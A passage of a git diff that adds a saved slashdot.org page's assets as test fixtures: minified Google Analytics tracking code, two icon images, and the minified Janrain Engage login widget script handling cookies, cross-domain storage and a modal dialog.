+U[y].F,4);a("_trackPageLoadTime",U[y].Ea,100);a("_trackSocial",U[y].Ga,104);a("_trackTrans",U[y].Ia,18);a("_sendXEvent",U[y].t,78);a("_createEventTracker",U[y].ia,74);a("_getVersion",U[y].qa,60);a("_setDomainName",U[y].B,6);a("_setAllowHash",U[y].va,8);a("_getLinkerUrl",U[y].na,52);a("_link",U[y].link,101);a("_linkByPost",U[y].ua,102);a("_setTrans",U[y].za,20);a("_addTrans",U[y].$,21);a("_addItem",U[y].Y,19);a("_clearTrans",U[y].ea,105);a("_setTransactionDelim",U[y].Aa,82);a("_setCustomV [...]
+10);a("_deleteCustomVar",U[y].ka,35);a("_getVisitorCustomVar",U[y].ra,50);a("_setXKey",U[y].Ca,83);a("_setXValue",U[y].Da,84);a("_getXKey",U[y].sa,76);a("_getXValue",U[y].ta,77);a("_clearXKey",U[y].fa,72);a("_clearXValue",U[y].ga,73);a("_createXObj",U[y].ja,75);a("_addIgnoredOrganic",U[y].W,15);a("_clearIgnoredOrganic",U[y].ba,97);a("_addIgnoredRef",U[y].X,31);a("_clearIgnoredRef",U[y].ca,32);a("_addOrganic",U[y].Z,14);a("_clearOrganic",U[y].da,70);a("_cookiePathCopy",U[y].ha,30);a("_get [...]
+106);a("_set",U[y].xa,107);a("_addEventListener",U[y].addEventListener,108);a("_removeEventListener",U[y].removeEventListener,109);a("_addDevId",U[y].V);a("_getPlugin",Pc,122);a("_setPageGroup",U[y].ya,126);a("_trackTiming",U[y].Ha,124);a("_initData",U[y].v,2);a("_setVar",U[y].Ba,22);V("_setSessionTimeout",db,27,3);V("_setCookieTimeout",eb,25,3);V("_setCookiePersistence",cb,24,1);a("_setAutoTrackOutbound",Ea,79);a("_setTrackOutboundSubdomains",Ea,81);a("_setHrefExamineLimit",Ea,80)};F=$[y];
+F.oa=function(a,b){return this.r(a,g,b)};F.r=function(a,b,c){b&&I(23);c&&I(67);b==g&&(b="~"+M.U++);a=new U(b,a,c);M.C[b]=a;M.D[p](a);return a};F.u=function(a){a=a||"";return M.C[a]||M.r(g,a)};F.pa=function(){return M.D[ia](0)};F.aa=function(){this.w=h};F.la=function(){this.G=h};var Fe=function(a){if("prerender"==K.webkitVisibilityState)return l;a();return h};var M=new $;var Ge=W._gat;Ge&&Aa(Ge._getTracker)?M=Ge:W._gat=M;var Z=new Y;var He=function(){var a=W._gaq,b=l;if(a&&Aa(a[p])&&(b="[ [...]
diff --git a/src/test/resources/s/slashdot.org_files/graphics_64.png b/src/test/resources/s/slashdot.org_files/graphics_64.png
new file mode 100644
index 0000000..bf5cddb
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/graphics_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/hardware_64.png b/src/test/resources/s/slashdot.org_files/hardware_64.png
new file mode 100644
index 0000000..7279c7b
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/hardware_64.png differ
diff --git a/src/test/resources/s/slashdot.org_files/login b/src/test/resources/s/slashdot.org_files/login
new file mode 100644
index 0000000..91e894a
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/login
@@ -0,0 +1,186 @@
+/*
+ -*- Engage Auth Widget -*-
+ Copyright (c) 2012, Janrain, Inc. All rights reserved.
+ Version: 2013.1_ws_widgets_rc9
+*/
+"object"!==typeof window.janrain&&(window.janrain={});janrain.apps={};
+janrain.apps=function(){var $a,Ca,ja,Pa;function Eb(){var a;a="http:"===document.location.protocol?"http://cdn.quilt.janrain.com/2.1.4/":"https://d3hmp0045zy3cs.cloudfront.net/2.1.4/";if(janrain.settings.capture&&janrain.settings.capture.quiltVersion){a=a.split("/");if("cdn.quilt.janrain.com"===a[2]||"d3hmp0045zy3cs.cloudfront.net"===a[2])a[a.length-2]=janrain.settings.capture.quiltVersion;a=a.join("/")}return a}function Pb(a,e,b){var c;if(document.getElementById(a))return!1;if(f){c="";v [...]
+d.innerHTML=c+"<iframe "+('name="'+a+'" ')+('id="'+a+'" ')+('src="'+e+'" ')+'style="display: none;"></iframe>';document.body&&document.body.appendChild(d);c=document.getElementById(a)}else c=document.createElement("iframe"),c.setAttribute("name",a),c.id=a,c.setAttribute("src",e),c.style.display="none",document.body&&document.body.appendChild(c);"function"===typeof b&&b();return c}function W(a){for(var e="",b=0;b<a;)e+=W.possible[Math.floor(Math.random()*W.possible.length)],b++;return e}f [...]
+c,b,e){c={action:a,key:c,messageId:b};"set"===a&&(c.value=e);return"janrainCapture:"+R.stringify(c)}function e(a,c){function b(){e++;if(10<e)return!1;if("undefined"!==typeof G[a])return clearTimeout(g),"get"===G[a].action&&"function"===typeof c&&c(G[a].storedValue),!0;var g=setTimeout(b,50)}var e=0;b()}function b(c,b){var g=W(40);window.setTimeout(function(){f.contentWindow.postMessage(a("get",c,g),q)});e(g,b)}function c(a,e){if(g)bb?b(a,e):setTimeout(function(){c(a,e)},50);else return w [...]
+function d(a){var c;if(!(c=0!==a.data.indexOf("janrainCapture:"))){c=A;var b=a.origin.replace(/^https?:\/\/|:\d{1,4}$/g,"").toLowerCase();c=!(!T(c)?0:-1<c.indexOf(b))}if(c)return!1;a=R.parse(a.data.replace("janrainCapture:",""));G[a.messageId]=a}var g=!1,G={},f,q,A=janrain.settings&&janrain.settings.whiteListedDomains?janrain.settings.whiteListedDomains:[];return{setItem:function(c,b){if(g){var d=W(40);window.setTimeout(function(){f.contentWindow.postMessage(a("set",c,d,b),q)});return e( [...]
+b)},removeItem:function(c){if(g){var b=W(40);window.setTimeout(function(){f.contentWindow.postMessage(a("remove",c,b),q)});return e(b)}return window.localStorage.removeItem(c)},getItem:c,setMultiDomain:function(a){if(g=a)window.addEventListener?window.addEventListener("message",d,!1):window.attachEvent?window.attachEvent("onmessage",d):document.attachEvent&&document.attachEvent("onmessage",d),f=document.getElementById("xDomainLocalStorageJanrain"),q=janrain.settings.storageServerDomain}} [...]
+Fa){var a=new Da;a.setMultiDomain(janrain.settings.multiDomainLocalStorage);a.removeItem(c);a.removeItem(c+"_Expires")}else{var a=G?"; domain="+G:"",b=new Date;b.setTime(b.getTime()+-864E6);document.cookie=c+"="+g+";expires="+b.toUTCString()+a+"; path="+f}}function e(b,e){var g,f,G,H,t;if(d&&Fa)if(t=new Da,janrain.settings.multiDomainLocalStorage)t.setMultiDomain(!0),t.getItem(b,function(g){g?t.getItem(b+"_Expires",function(d){d?Math.round((new Date).getTime()/1E3)>Math.round((new Date(d [...]
+1E3)?(c=b,a(),"function"===typeof e&&e(!1)):"function"===typeof e&&e(g):(new O).getCookie(b+"_session")?"function"===typeof e&&e(g):(c=b,a())}):"function"===typeof e&&e(!1)});else if(H=t.getItem(b),g=t.getItem(b+"_Expires"),H){if(!(g&&Math.round((new Date).getTime()/1E3)>Math.round((new Date(g)).getTime()/1E3))&&(g||(new O).getCookie(b+"_session")))return H;c=b;a()}else return!1;else{g=document.cookie.split(";");f=g.length;for(var i=0;i<f;i++)if(G=g.pop(),H=G.split("="),G=H[0],H=H[1],G.t [...]
+return!1}}var b,c,d=!1,g,G,f="/";return{create:function(){if(d&&Fa){var a=new Da;a.setMultiDomain(janrain.settings.multiDomainLocalStorage);a.setItem(c,g);b?a.setItem(c+"_Expires",b):(new O).setName(c+"_session").setValue("session").create()}else document.cookie=c+"="+g+(b?"; expires="+b:"")+(G?"; domain="+G:"")+"; path="+f},remove:a,setExpirationDirectly:function(a){a&&(b=a);return this},setExpiration:function(a){if(a){var c=new Date;c.setTime(c.getTime()+864E5*a);b=c.toUTCString()}retu [...]
+setName:function(a){a&&(c=a);return this},setValue:function(a){"undefined"!==typeof a&&(g=a);return this},setUseLocalStorage:function(a){d=a;return this},setPath:function(a){a&&(f=a);return this},setDomain:function(a){a&&(G=a);return this},getCookie:function(a,b){return e(a,b)}}}function eb(a,e){a=a||navigator.appName;e=e||K;return"Microsoft Internet Explorer"===a&&null!=/MSIE ([0-9]{1,}[.0-9]{0,})/.exec(e)?parseFloat(RegExp.$1):!1}function Qa(){return!/Chrome\//.test(K)&&/Safari\//.test [...]
+a||K;return-1<a.indexOf("iPod")?"iPod":-1<a.indexOf("iPhone")?"iPhone":-1<a.indexOf("iPad")?"iPad":0}function L(a,e,b,c,d,g){"number"===typeof b&&"number"===typeof c&&"number"===typeof d&&"number"===typeof g?("undefined"!==typeof a.style.borderRadius&&(a.style.borderRadius=b+"px "+c+"px "+d+"px "+g+"px"),"undefined"!==typeof a.style.MozBorderRadius&&(a.style.MozBorderRadius=b+"px "+c+"px "+d+"px "+g+"px"),"undefined"!==typeof a.style.webkitBorderRadius&&(a.style.webkitBorderRadius=b+"px [...]
+d+"px "+g+"px")):("undefined"!==typeof a.style.borderRadius&&(a.style.borderRadius=e+"px"),"undefined"!==typeof a.style.MozBorderRadius&&(a.style.MozBorderRadius=e+"px"),"undefined"!==typeof a.style.webkitBorderRadius&&(a.style.webkitBorderRadius=e+"px"));return a}function Va(a,e){if("undefined"===typeof a||"undefined"===typeof e)return!1;var b=a-e;0>b&&(b=0);b>a&&(b=a);return b}function Fb(a,e){if(f&&9>=f)return a.style.backgroundImage="url('"+vb("rel/img/c7a91677d94f4a79e1b26c8ceb31af8 [...]
+!0;var b;if(b=Qa()){a:{if(K&&(b=K.match(/(\d)[\d.]+ Safari/))&&b[1]){b=1*b[1];break a}b=0}b=4>=b}if(b||ca.getMobileDevice()){var c=b="",d="",g=e.split(","),G={top:"left top, left bottom",right:"right top, right bottom",bottom:"left bottom, left top",left:"left top, left bottom"};g[0]&&G[g[0]]&&(b=G[g[0]]);g[1]&&(c="from("+g[1]+")");g[g.length-1]&&(d="to("+g[g.length-1]+")");a.style.backgroundImage="-webkit-gradient(linear,"+b+","+c+","+d+")"}a.style.backgroundImage="-moz-linear-gradient( [...]
+"-webkit-linear-gradient("+e+")";a.style.backgroundImage="-ms-linear-gradient("+e+")";a.style.backgroundImage="-o-linear-gradient("+e+")";a.style.backgroundImage="linear-gradient("+e+")"}function da(a,e,b,c){var d=Gb(b),g=Gb(b,c);if(b=Rb(b))b.a=c,g="rgba("+b.r+", "+b.g+", "+b.b+", "+b.a+")";if(0<e){a.style.backgroundColor=d;a.style.padding=e+"px";if(0<f&&8>=f||f&&v)return!1;a.style.backgroundColor=g;a.style.padding=e+"px"}else a.style.backgroundColor="",a.style.padding="0px"}function Rb( [...]
+{};if("string"!==typeof a||!a)return!1;a=a.replace(/\s+/g,"");a=a.replace(/,{2,}/g,",");a=a.replace(/[^\d.,]/g,"");a=a.split(",");if(3>a.length||4<a.length)return!1;e.r=a[0];e.g=a[1];e.b=a[2];e.a=a[3]?a[3]:1;return e}function Gb(a,e){var b=a.split("");if("#"!==b[0])return a;4===a.length&&(a=b[0]+b[1]+b[1]+b[2]+b[2]+b[3]+b[3]);var a=a.substring(1,7),b=parseInt(a.substring(0,2),16),c=parseInt(a.substring(2,4),16),d=parseInt(a.substring(4,6),16);return isNaN(e)?"rgb("+b+","+c+","+d+")":"rgb [...]
+c+","+d+","+e+")"}function X(a,e,b){if(null==a)return!1;"object"===typeof window.attachEvent?a.attachEvent("on"+e,b):a.addEventListener(e,b,!1)}function wa(a,e,b){"object"===typeof window.detachEvent?a.detachEvent("on"+e,b):a.removeEventListener(e,b,!1)}function Hb(){var a,e,b,c,d,g,f,t;e=document.documentElement?document.documentElement:{clientWidth:0,clientHeight:0,scrollWidth:0,scrollHeight:0,offsetWidth:0,offsetHeight:0};f=e.scrollWidth?e.scrollWidth:0;t=e.scrollHeight?e.scrollHeight [...]
+e.offsetWidth:0;g=e.offsetHeight?e.offsetHeight:0;b=document.body.scrollWidth?document.body.scrollWidth:0;c=document.body.scrollHeight?document.body.scrollHeight:0;a=document.body.offsetWidth?document.body.offsetWidth:0;e=document.body.offsetHeight?document.body.offsetHeight:0;d=Math.max(b,f,a,d);return{height:Math.max(c,t,e,g),width:d}}function r(a,e,b,c,d){var g=/^(?:[^\u0000-\u0080]|[-0-9a-z?,.!&\s#()])+$/i,f=/(?:^rgb\s*\(\s*\d+\s*,\s*\d+\s*,\s*\d+\s*\)$)|(?:^#[a-f0-9]{1,6}$)/i;if("ar [...]
+p.log(c+" is wrong type, must be array, using default value instead"),b;if(e&&T(e))for(var t=0;t<c.length;t++)if(0>e.indexOf(c[t]))return d||p.log(c+" is not within the valid range, using default value instead"),b;return c}if("url"===a){if("string"!==typeof c)return b;c&&(c=c.trim());if(/^http(?:s)?:\/\/[-a-z0-9._~@:!$&'()*+,;=\s/?#]+$/i.test(c))return c;d||p.log(c+" is not the valid format, using default value instead");return b}if("text"===a){if(e){if(0<=e.indexOf(c))return c;d||p.log( [...]
+c+'" for '+arguments.callee.caller.name+' is not a valid value, using default value of "'+b+'" instead');return b}return g.test(c)?c:b}if("usertext"===a){if("string"!==typeof c&&"number"!==typeof c)return b;if(T(e)){if(1===e.length){if(c.length<=e[0])return c;d||p.log(c+" is too long, using default value instead");return b}if(2===e.length){if(c.length<=e[1]&&c.length>=e[0])return c;d||p.log(c+" is not within the valid range, using default value instead");return b}d||p.log("usertext range [...]
+return b}return c}"string"===typeof c&&0==c.length&&(c=" ");if(!g.test(c))return d||p.log(c+" contains invalid character(s)"),b;if("boolean"===a){if("boolean"===typeof c)return c;d||p.log(c+" is wrong type, must be boolean, using default value instead");return b}if("text"===a)return c;if("number"===a){if(isNaN(parseInt(c)))return d||p.log(c+" is wrong type, must be a valid number"),b;c=parseFloat(c)}if("color"===a){c&&(c=c.trim());if("transparent"===c||f.test(c))return c;d||p.log('Value [...]
+arguments.callee.caller.name+' is not a valid value, using default value of "'+b+'" instead');return b}if(typeof c!=a&&"color"!=a)return d||p.log(c+" for "+arguments.callee.caller.name+" is "+typeof c+" expected "+a),b;if("object"===typeof e&&"string"===a){if(0<=e.indexOf(c))return c;d||p.log('Value of "'+c+'" for '+arguments.callee.caller.name+' is not a valid value, using default value of "'+b+'" instead');return b}if("object"===typeof e&&"number"===a){2===e.length?(g=e[0],f=e[1]):(g=e [...]
+f=e.pop(),t=e);if(c<g)return d||p.log("Value of "+c+" for "+arguments.callee.caller.name+" is below minimum of "+g+", using minimum value of "+g+" instead"),g;if(c>f)return d||p.log("Value of "+c+" for "+arguments.callee.caller.name+" is above maximum of "+f+", using maximum value of "+f+" instead"),f;if(t&&"number"===typeof t.indexOf(c)||c==g||c==f)return c;return t?(d||p.log("Value of "+c+" for "+arguments.callee.caller.name+" is not a valid value, using default value of "+b+" instead" [...]
+c&&!c?b:c}function fb(a){for(var e=fb.options,a=e.parser[e.strictMode?"strict":"loose"].exec(a),b={},c=14;c--;)b[e.key[c]]=a[c]||"";b[e.q.name]={};b[e.key[12]].replace(e.q.parser,function(a,c,d){c&&(b[e.q.name][c]=d)});return b}function Sb(a,e){function b(a){p=!0;"undefined"!==typeof A&&clearTimeout(A);if("string"===typeof a)return"function"===typeof t&&t(a),!0;if("object"===typeof a||"undefined"===typeof a)return"object"===typeof a&&"error"===a.type?"function"===typeof t&&t(a):"function [...]
+d(),!0}function c(){q++;if(p)return!0;q<g?A=setTimeout(c,50):b("Load Timeout Error")}var d=e,g=200,f=!1,t,q=0,A,i=document.createElement("script"),Q=document.getElementsByTagName("script")[0],p=!1;i.src=a;i.setAttribute("type","text/javascript");i.onload=i.onerror=i.onreadystatechange=function(a){!p&&(!this.readyState||"loaded"===this.readyState||"complete"===this.readyState)&&b(a)};return{setTimeoutCallback:function(a){f=!0;t=a;return this},setCallback:function(a){d=a;return this},setTi [...]
+a;return this},load:function(){Q.parentNode.insertBefore(i,Q);f&&c()}}}function Y(a,e){Sb(a,e).load()}function Ib(a,e){function b(c){i=!1;"function"===typeof e&&e();janrain.events.onCssLoad.fire({source:a,noload:c,save:!0})}function c(){if(i){for(A=q.length;0<=--A;)if(q[A].href===g.href){b();break}f+=1;i&&(200>f?setTimeout(c,50):b(!0))}}function d(){var a;try{a=!!g.sheet.cssRules}catch(c){f+=1;200>f?setTimeout(d,50):a&&b(!0);return}b()}if(!(!T(ea)?0:-1<ea.indexOf(a))){ea.push(a);var g,f= [...]
+document.styleSheets,A;"undefined"===typeof janrain.events.onCssLoad&&(janrain.events.onCssLoad=new Ga);Z?(g=document.createElement("style"),g.innerHTML='@import "'+a+'";'):(g=document.createElement("link"),g.rel="stylesheet",g.href=a,g.type="text/css");Jb||Z?(Jb&&c(),Z&&d()):(g.onload=function(){b()},g.onerror=function(){b(!0)});document.getElementsByTagName("head")[0].appendChild(g)}}function T(a){return"[object Array]"===Object.prototype.toString.call(a)}function xa(a){return!!a&&"[ob [...]
+Object.prototype.toString.call(a)}function fa(a,e){if("undefined"===typeof e||0===e.length||!xa(a)&&!T(a))return a;for(var b=e.split("."),c=a,d=0,g=b.length;d<g&&!(c=c[b[d]],void 0===c||null===c);++d);return c}function wb(a,e,b){for(var c=0,d=a.length;c<d;c++)e.call(b,a[c],c,a)}function Kb(a){a&&a.parentNode&&a.parentNode.removeChild(a);return a}function ya(a){var e=T(a)?[]:{},b;for(b in a)Object.prototype.hasOwnProperty.call(a,b)&&(e[b]=ya.isCloneable(a[b])?ya(a[b]):a[b]);return e}funct [...]
+"",b;for(b in a)e+="&"+encodeURIComponent(b)+"="+encodeURIComponent(a[b]);return e="?"+e.substr(1)}function ka(a){if(!a)return!1;if(a.preventDefault)a.preventDefault();else try{a.returnValue=!1}catch(e){}}function la(a){if(!a)return!1;a.stopPropagation?a.stopPropagation():a.cancelBubble=!0}function Tb(a,e){for(var b=e,c=/\{\|(.*?)\|\}/,d;d=c.exec(b);)try{var g=d[1].trim(),b=b.replace(d[0],"undefined"!==typeof a[g]?a[g]:"")}catch(f){return window.console&&window.console.log&&console.log(f [...]
+f.message,"error"),!1}return b}function Lb(){function a(a){var a=a||"img",b=document.createElement(a);b.style.position="absolute";b.style.cursor="pointer";b.style.zIndex=1E3;"a"===a?(b.setAttribute("href","#"),b.className="janrain_modal_closebutton",O&&(b.innerHTML=O)):(b.src=R,K||(b.style.right="-6px",b.style.top="-7px",b.style.height="31px",b.style.width="28px"));b.onclick=ma?c:e;return b}function e(a){z||(k.style.display="none",na.style.display="none",E.style.display="none");$&&ca.dea [...]
+("object"===typeof a||!a)&&janrain.events.onModalClose.fire();("object"===typeof a||!a)&&W.fire();"object"===typeof a&&ka(a)}function b(){var a=document.createElement("div"),b=document.createElement("div"),c=document.createElement("a"),d=document.createElement("a"),g=document.createElement("h3");c.innerHTML=T;d.innerHTML=Y;g.innerHTML=ia;c.setAttribute("href","#");d.setAttribute("href","#");a.className="janrain_close_confirm_container";b.className="janrain_close_confirm";c.className="jan [...]
+d.className="janrain_modal_cancel";X(c,"click",function(a){e();k.removeChild(Ha);Ha=null;ka(a)});X(d,"click",function(a){k.removeChild(Ha);Ha=null;ka(a)});b.appendChild(g);b.appendChild(d);b.appendChild(c);a.appendChild(b);return a}function c(a){Ha||(Ha=b(),k.appendChild(Ha));ka(a)}function d(a){var b,c,e=document.documentElement.scrollTop>=document.body.scrollTop?document.documentElement.scrollTop:document.body.scrollTop,g=document.documentElement.scrollLeft>=document.body.scrollLeft?do [...]
+document.body.scrollLeft;"undefined"!=typeof window.innerWidth?(b=window.innerWidth,c=window.innerHeight):(b=document.documentElement.offsetWidth,c=document.documentElement.offsetHeight);var f=a.style&&a.style.width?parseInt(a.style.width):a.offsetWidth?parseInt(a.offsetWidth):0,k=a.style&&a.style.height?parseInt(a.style.height):a.offsetHeight?parseInt(a.offsetHeight):0;c-=k;b-=f;e+=c/2;g+=b/2;0>c&&(document.documentElement.scrollTop=0,document.body.scrollTop=0,e=10);0>b&&(document.docum [...]
+0,g=document.body.scrollLeft=0);a.style.top=e+"px";a.style.left=g+"px";"absolute"!==a.style.position&&(a.style.position="absolute")}function g(){if(z){var a=document.getElementById("previewMode");a.style.position="relative";a.appendChild(k)}else d(k);z||p.show()}function G(a){ga||(M=r("number",[0,20],10,a),oa.fire({radius:Va(V,M)}))}function t(a){ga||(F=r("color",null,"#000000",a))}function q(a){ga||(V=r("number",[0,20],10,a),aa.fire({radius:Va(V,M),refresh:!0}))}function A(a){ga||(pa=r( [...]
+[0,1],0.5,a),"object"==typeof k&&da(k,M,F,pa))}function Ea(a){if("portrait"===a){ba="portrait";var b="one column"}"landscape"===a&&(ba="landscape",b="two column");Ia.fire({orientation:ba,format:b,width:Ua,height:D});setTimeout(va,100);g()}function Q(a){a&&(za=a);f&&v&&(za+=M-2);"object"==typeof k&&(k.style.width=za+"px");return this}function Qb(a){a&&(u=a);f&&v&&(u=u+2*M-4);a&&"object"==typeof k&&(k.style.height=u+"px");return this}function H(){ja>=Pa&&"undefined"===typeof window.orienta [...]
+ba&&Ea("landscape"):90===window.orientation||-90===window.orientation?"landscape"!==ba&&Ea("landscape"):"portrait"!==ba&&Ea("portrait");g()}function va(){var a=Hb();E.style.height=a.height+"px";E.style.width=a.width+"px"}function U(){return"object"===typeof k&&"none"!==k.style.display}var Ua=380,D=131,k,Mb="janrainModal",na,E,S,za=Ua,u=D,M=10,F="#000000",V=10,pa=0.5,ma=!1,R=vb("rel/img/b573cd6e318034fa17bb7e9690552ca1.png"),O="",ga=janrain.settings&&janrain.settings.capture&&janrain.sett [...]
+K=!1,ia="Are you sure you want to quit?",T="Yes, quit",Y="No, stay",Ha,ba="landscape",Aa=!0,$="boolean"===typeof $?$:"number"===typeof window.orientation?!0:!1,Ma="boolean"===typeof Ma?Ma:janrain.settings.previewMode,z=Ma,ha=ha||!1,qa=!1;janrain.settings&&janrain.settings.capture&&janrain.settings.capture.modalCloseImage&&(R=janrain.settings.capture.modalCloseImage,K=!0);janrain.settings&&janrain.settings.capture&&janrain.settings.capture.modalCloseHtml&&(O=janrain.settings.capture.modal [...]
+window.janrain.events.onModalClose||(window.janrain.events.onModalClose=I());window.janrain.events.onModalOpen||(window.janrain.events.onModalOpen=I());var W=I(),Ya=I(),aa=I(),oa=I(),Ia=I();ca&&ca.onOrientationChange&&ca.onViewportChange&&(ca.onOrientationChange.addHandler(function(a){Ea(a.orientation)}),ca.onViewportChange.addHandler(function(){d(k)}));"undefined"!==typeof janrain.events.onCaptureRenderComplete&&(janrain.events.onCaptureRenderComplete.addHandler(function(){U()&&(qa=!0)} [...]
+qa&&(g(),setTimeout(va,500),qa=!1)}));return{isOpen:function(){return U()},setWidth:function(a){Q(a);return this},setHeight:function(a){Qb(a);return this},setBorder:function(a){("string"==typeof a||"number"==typeof a)&&G(a);ga||"object"==typeof k&&da(k,M,F,pa);return this},setBorderColor:function(a){a&&t(a);ga||"object"==typeof k&&da(k,M,F,pa);return this},setBorderRadius:function(a){("string"==typeof a||"number"==typeof a)&&q(a);ga||"object"==typeof k&&L(k,V);return this},setBorderOpaci [...]
+typeof a||"string"===typeof a)&&A(a);return this},setZIndex:function(a){E.style.zIndex=a},setPreviewMode:function(a){"boolean"===typeof a&&(z=a);return this},setId:function(a){Mb=a;k&&(k.id=a);return this},show:function(){$||(k.style.display="block");"object"==typeof na&&Aa&&(na.style.display="block");z?$&&(k.style.display="block"):(E.style.display="block",$?(ca.setElement(k).activate(),k.style.display="block"):(X(window,"resize",H),X(window,"resize",va),H(),va()));ga||aa.fire({radius:Va [...]
+Ya.fire();janrain.events.onModalOpen.fire();k.focus()},close:function(a){e(a)},closeConfirm:function(){c()},refresh:function(a){ha||k.appendChild(S);a&&a.center&&g()},remove:function(){if(z){var a=document.getElementById("previewMode");"object"===typeof S&&k.removeChild(S);"object"===typeof k&&a.removeChild(k);"object"===typeof E&&document.body.removeChild(E);if(a=document.getElementById("janrainEngageEmbed_old"))a.id="janrainEngageEmbed";E=k=""}else"object"===typeof S&&k.removeChild(S), [...]
+typeof E&&document.body.removeChild(E),"object"===typeof k&&document.body.removeChild(k)},addContent:function(b){janrain.events.onAuthWidgetContentPlaced.fire();na=b;if(!k){k=document.createElement("div");k.id=Mb;if("number"===typeof za||"string"===typeof za)k.style.width=za+"px";k.style.height=u+"px";k.style.position="absolute";ga||(k.style.padding=M+"px",L(k,V),da(k,M,F,pa));k.style.zIndex=1E3;k.style.display="none";b=Hb();E=document.createElement("div");janrain.settings&&janrain.setti [...]
+janrain.settings.capture.captureServer&&(E.id="janrainModalOverlay");E.style.width=b.width+"px";E.style.height=b.height+"px";E.style.left=0;E.style.top=0;E.style.backgroundColor="#000000";E.style.position="absolute";b=E;"undefined"!==typeof b.style.filter&&(b.style.filter="alpha(opacity=40)");"undefined"!==typeof b.style.opacity&&(b.style.opacity="0.4");"undefined"!==typeof b.style.KhtmlOpacity&&(b.style.KhtmlOpacity="0.4");"undefined"!==typeof b.style.MozOpacity&&(b.style.MozOpacity="0. [...]
+"none";E.style.zIndex=1E3;S=O?a("a"):a();k.appendChild(S);document.body.appendChild(E);document.body.appendChild(k)}k.appendChild(na);setTimeout(va,500);z&&g();return this},getContent:function(){return na},getBorderWidth:function(){return M},getState:function(){return{width:za,borderWidth:M,borderColor:F,borderRadius:V,borderOpacity:pa,orientation:ba}},setState:function(a){i("customizable_auth_widget_styling")&&("undefined"!==typeof a.borderWidth&&G(a.borderWidth),"undefined"!==typeof a. [...]
+t(a.borderColor),"undefined"!==typeof a.borderOpacity&&A(a.borderOpacity),"undefined"!==typeof a.orientation&&Ea(a.orientation),"undefined"!==typeof a.borderRadius&&(("string"==typeof a.borderRadius||"number"==typeof a.borderRadius)&&q(a.borderRadius),"object"==typeof k&&L(k,V)))},setConfirmClose:function(a){ma=a;return this},setShowContentOnLoad:function(a){Aa=a;return this},setConfirmMessageText:function(a){ia=a},setConfirmLinkText:function(a){T=a},setCancelLinkText:function(a){Y=a},on [...]
+onOrientationChange:Ia,onBorderRadiusChange:aa,onBorderWidthChange:oa}}function Ub(a){function e(a){"janrainReadyToClose:True"===a.data&&(window.focus(),f=!0,wa(window,"message",e))}function b(){var a=window.open(c,"","width="+d+", height="+g+", status=1, location=1, resizable=yes");("iPod"===Nb||"iPhone"===Nb)&&6<=Vb&&X(window,"message",e);var b=window.setInterval(function(){f&&a&&(a.close(),f=!1);if(a&&a.closed||a&&"undefined"===typeof a.closed||"undefined"===typeof a)window.clearInter [...]
+typeof i&&i()},500)}var c=a,d=400,g=400,f=!1,i;return{show:function(){b()},setWidth:function(a){a&&(d=a);return this},setHeight:function(a){a&&(g=a);return this},setCallback:function(a){a&&(i=a);return this}}}function Wb(){function a(){r=(new Date).getTime()-d;if(r<c){var a=Math.round(e()*p+i);g.style[A]=a+"px"}else clearInterval(Q),g.style[A]=q+"px",v()}function e(){if("flat"==H)return r*(1/c);if("sinusoidal"==H)return Math.abs(Math.sin(r*(Math.PI/(2*c))))}function b(a){return{x:functio [...]
+c=a.event.clientX;var e=a.boundary,d=curtop=0;if(e.offsetParent){do d+=e.offsetLeft,curtop+=e.offsetTop;while(e=e.offsetParent);b=d}b=c-b;b=b<this.boundary_x()?b:this.boundary_x();return 0<b?b:0},boundary_x:function(){var b=a.boundary.getBoundingClientRect();return b.width||b.right-b.left}}}var c="1000",d,g,f=document,i,q,A="left",p,Q,r,H="flat",v,U;return{setAcceleration:function(a){H=a;return this},setCallback:function(a){v=a;return this},setDuration:function(a){c=a;return this},setDir [...]
+a&&(A="left");"vertical"===a&&(A="top");return this},setElement:function(a){g=a;return this},setElementBoundary:function(a){f=a;return this},startPosition:function(a){i=a;return this},endPosition:function(a){q=a;return this},animate:function(){p=q-i;d=(new Date).getTime();Q=setInterval(a,10);return this},drag:function(a){var c=this;this.moveHandler=function(a){var c=b({event:a.targetTouches&&a.targetTouches.length?a.targetTouches[0]:a,boundary:f}).x();g.style.left=c+"px";la(a);ka(a);U&&c [...]
+U=setTimeout(function(){v({pos_x:c})},500)};this.upHandler=function(a){c.unbindDragHandlers();la(a);ka(a)};X(document,$a,this.moveHandler);X(document,Ca,this.upHandler);la(a);ka(a)},unbindDragHandlers:function(){wa(document,Ca,this.upHandler);wa(document,$a,this.moveHandler);return this}}}function I(){return new Ga}function Ga(){this.eventHandlers=[];this.firedEvents=[]}function Ob(){if(function(){if("object"!==typeof janrain.events||"object"!==typeof janrain.apps.engage||"object"!==type [...]
+if(!0===janrain.settings.custom)return!0;for(var a="onAuthWidgetLoad,onAuthWidgetContentPlaced,onCustomizationChange,onProviderLoginComplete,onProviderLoginCancel,onProviderLoginError,onProviderLoginStart,onProviderLoginSuccess,onProviderLoginToken,onReturnExperienceFound,onModalWidgetReady".split(","),b=0;b<a.length;b++)if("object"!==typeof janrain.events[a[b]])return!1;return!0}())clearTimeout(a),janrain.events.onAuthWidgetLoad.fire();else var a=setTimeout(Ob,5)}Array.prototype.indexOf [...]
+function(a){if(null==this)throw new TypeError;var e=Object(this),b=e.length>>>0;if(0===b)return-1;var c=0;0<arguments.length&&(c=Number(arguments[1]),c!=c?c=0:0!=c&&Infinity!=c&&-Infinity!=c&&(c=(0<c||-1)*Math.floor(Math.abs(c))));if(c>=b)return-1;for(c=0<=c?c:Math.max(b-Math.abs(c),0);c<b;c++)if(c in e&&e[c]===a)return c;return-1});Array.prototype.map||(Array.prototype.map=function(a,e){if(null===this)throw new TypeError;var b=Object(this),c=b.length>>>0;if("function"!==typeof a)throw n [...]
+for(var d=Array(c),g=0;g<c;g++)g in b&&(d[g]=a.call(e,b[g],g,b));return d});Array.prototype.filter||(Array.prototype.filter=function(a,d){if(null==this)throw new TypeError;var b=Object(this),c=b.length>>>0;if("function"!=typeof a)throw new TypeError;for(var f=[],g=0;g<c;g++)if(g in b){var i=b[g];a.call(d,i,g,b)&&f.push(i)}return f});String.prototype.trim||(String.prototype.trim=function(){return this.replace(/^\s+|\s+$/g,"")});var F=window.innerWidth?window.innerWidth:document.body&&docu [...]
